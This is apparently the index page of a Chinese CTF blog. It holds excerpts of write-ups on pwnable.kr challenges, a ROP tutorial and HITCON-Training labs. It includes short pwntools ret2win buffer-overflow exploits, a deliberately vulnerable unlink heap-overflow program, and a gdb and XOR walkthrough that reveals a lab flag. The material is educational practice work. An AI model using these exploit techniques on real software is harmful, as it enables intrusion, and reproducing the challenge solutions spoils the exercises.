R4bb1t的ctf博客


  • 首页

  • 关于

  • 标签

  • 分类

  • 归档

  • 搜索

pwnable.kr 之 md5 calculator

发表于 2022-02-14 | 分类于 ctf

这题蛮有意思的,虽然叫 md5 calculator,但是跟md5算法没什么关系,主要考查的是伪随机。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int my_hash()
{
int i; // [esp+0h] [ebp-38h]
char v2[4]; // [esp+Ch] [ebp-2Ch]
int v3; // [esp+10h] [ebp-28h]
int v4; // [esp+14h] [ebp-24h]
int v5; // [esp+18h] [ebp-20h]
int v6; // [esp+1Ch] [ebp-1Ch]
int v7; // [esp+20h] [ebp-18h]
int v8; // [esp+24h] [ebp-14h]
int v9; // [esp+28h] [ebp-10h]
unsigned int canary; // [esp+2Ch] [ebp-Ch]

canary = __readgsdword(0x14u);
for ( i = 0; i <= 7; ++i )
*(_DWORD *)&v2[4 * i] = rand();
return v6 - v8 + v9 + canary + v4 - v5 + v3 + v7;
}
阅读全文 »

pwnable.kr 之 lotto

发表于 2022-02-14 | 分类于 ctf

ssh lotto@pwnable.kr -p2222 (pw:guest)

这是一个游戏,猜对6个数就能拿到flag。

通过源码了解到这6个随机数是从/dev/urandom中取出来的,而且范围在1~46之间,虽然 这是个伪随机,但是想要爆破难度还是挺大的。

阅读全文 »

pwnablr.kr 之 memcpy

发表于 2022-02-14 | 分类于 ctf

先看源码:

阅读全文 »

pwnable.kr 之 shellshock

发表于 2022-02-14 | 分类于 ctf

shellshock

什么是shellshock

bash 版本 <= 4.1

1、普通shell变量和bash

1
2
3
4
5
6
7
shellshock@pwnable:~$ gu="hacker"
shellshock@pwnable:~$ echo $gu
hacker
shellshock@pwnable:~$ ./bash
shellshock@pwnable:~$ echo $gu

shellshock@pwnable:~$

从上述实验得出:bash子进程没有继承普通shell变量gu。

阅读全文 »

pwnable.kr 之 uaf

发表于 2022-02-14 | 分类于 ctf

题如其名,不过是c++的uaf漏洞,还好给了源码,不至于去IDA里面看那么丑的伪代码

程序中有后门give_shell

结构体中有函数指针,introduce

free选项delete后没有清空指针存在UAF

after选项中会new 一个新的空间,从文件中将内容读入

通过跟踪分析程序可知,存放着指针的堆块大小为0x20

阅读全文 »

2020 pwnhub 公开赛 -- easypwn

发表于 2022-02-14 | 分类于 pwn

蛮有意思的一题,格式化字符串,0x18个字节,2次机会,数据写在栈上;

很显然需要构造循环多次利用格式化字符串漏洞,第一次用来泄漏地址,第二次修改返回地址为main,回到printf处继续利用

阅读全文 »

pwnable.kr 之 unlink

发表于 2022-02-14 | 分类于 ctf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;

void shell(){
system("/bin/sh");
}

void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));

// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;

printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);

// exploit this unlink!
unlink(B);
return 0;
}

有后门函数,且堆溢出

阅读全文 »

pwn环境docker化

发表于 2022-02-14 | 分类于 ctf

拉取镜像

1
2
3
4
5
6
7
8
9
# docker pull ubuntu:18.04
18.04: Pulling from library/ubuntu
23884877105a: Pull complete
bc38caa0f5b9: Pull complete
2910811b6c42: Pull complete
36505266dcc6: Pull complete
Digest: sha256:3235326357dfb65f1781dbc4df3b834546d8bf914e82cce58e6e6b676e23ce8f
Status: Downloaded newer image for ubuntu:18.04
docker.io/library/ubuntu:18.04
阅读全文 »

pwn入门之ROP

发表于 2022-02-14 | 分类于 ctf

ret2win

ROP Emporium
image.png

放到IDA很容易就找到溢出点

1
2
3
char s; // [esp+0h] [ebp-28h] 
可以看出s距ebp的偏移量为0x28
所以我们写入0x28正好可以写到ebp之前,要覆盖ebp还需要再写入4个字节(32位)

有一点值得引起注意,我们回车换行符同样会输入进去,明确溢出点以及可溢出的字节后接下来我们就开始构造rop,但在之前我们还应该检查一下程序开户了哪些保护,这决定了我们该采取何种rop攻击方式

image.png

exp 如下 :

1
2
3
4
5
6
from pwn import *
sh = process('./ret2win32')
ret2win32 = 0x08048659
payload = 'A' * 0x28 + p32(0) + p32(ret2win32)
sh.sendline(payload)
sh.interactive()


64位的溢出点也一样
exp:

1
2
3
4
5
6
from pwn import *
sh = process('./ret2win')
ret2win = 0x400811
payload = "A" * 0x20 + p64(0) + p64(ret2win)
sh.sendline(payload)
sh.interactive()
阅读全文 »

Hitcon-Training lab1~lab9

发表于 2022-02-14 | 分类于 ctf

lab1

方法1:逆向破解,因为题目给了.c文件,里面有key和cipher可以直接用

1
2
3
4
5
6
key = "Do_you_know_why_my_teammate_Orange_is_so_angry???"
cipher = [7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89, 10, 0, 30, 22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0, 126, 28, 62, 10, 30, 11, 107, 4, 66, 60, 44, 91, 49, 85, 2, 30, 33, 16, 76, 30, 66]
flag = ""
for i in range(len(cipher)):
flag += chr(cipher[i]^ord(key[i]))
print flag

方法2:利用gdb动态调试,可以在已生成password且未输入magic的情况下获得password的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
在0x80486e7处下断点,可以看到ebp - 0x80就是password存放的地方
► 0x80486e7 <get_flag+332> lea eax, [ebp - 0x80]
0x80486ea <get_flag+335> push eax
0x80486eb <get_flag+336> push dword ptr [ebp - 0x74]
0x80486ee <get_flag+339> call read@plt <0x8048410>
再运行到0x8048712处,可以查看 ebp - 0x80的值
pwndbg> x/wx ($ebp -0x80)
0xffffcd08: 0x4f77e43c
转成十进制,输入就能得到flag
pwndbg> c
Continuing.
1333257276
CTF{debugger_1s_so_p0werful_1n_dyn4m1c_4n4lySis!}[Inferior 1 (process 7593) exited normally]

方法3:
同样利用gdb调试,但是这次不用获取password的值而直接在if跳转前设置eip的值指向flag输出的for 循环即可

image.png

image.png

阅读全文 »
1234…7
R4bb1t

R4bb1t

67 日志
10 分类
6 标签
RSS
友链
  • Xi4or0uji
  • V1ctor
  • 23r3f
  • zs0zrc
  • ditto
  • ch4r1l3
  • 知世
© 2022 R4bb1t
由 Hexo 强力驱动
|
主题 — NexT.Gemini v5.1.4
0%